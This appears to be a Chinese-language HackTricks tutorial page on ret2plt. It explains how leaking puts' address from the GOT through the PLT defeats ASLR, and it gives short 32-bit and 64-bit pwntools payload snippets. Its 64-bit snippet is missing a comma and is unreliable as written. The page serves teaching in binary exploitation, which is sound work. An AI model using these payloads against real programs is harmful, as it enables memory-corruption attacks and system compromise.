Ret2plt

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)arrow-up-righthashtag

支持HackTricks的其他方式:

基本信息

该技术的目标是从PLT中泄漏函数的地址,以便绕过ASLR。这是因为,例如,如果您泄漏了libc中puts函数的地址,那么您可以计算出libc的基址,并计算偏移量以访问其他函数,如**system**。

可以使用pwntools负载来实现此目的(参见此处arrow-up-right):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

请注意,使用 PLT 中的地址调用 puts 时,会传入位于 GOT(全局偏移表)中的 puts 地址。这是因为当 puts 打印 puts 的 GOT 条目时,该 条目将包含内存中 puts 的确切地址

还要注意,在利用中使用了 main 的地址,因此当 puts 结束执行时,二进制文件会再次调用 main 而不是退出(因此泄漏的地址将继续有效)。

triangle-exclamation

您可以在此处找到此绕过的完整示例arrow-up-right。这是该示例中的最终利用:

其他示例和参考资料

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)arrow-up-righthashtag

支持HackTricks的其他方式:

最后更新于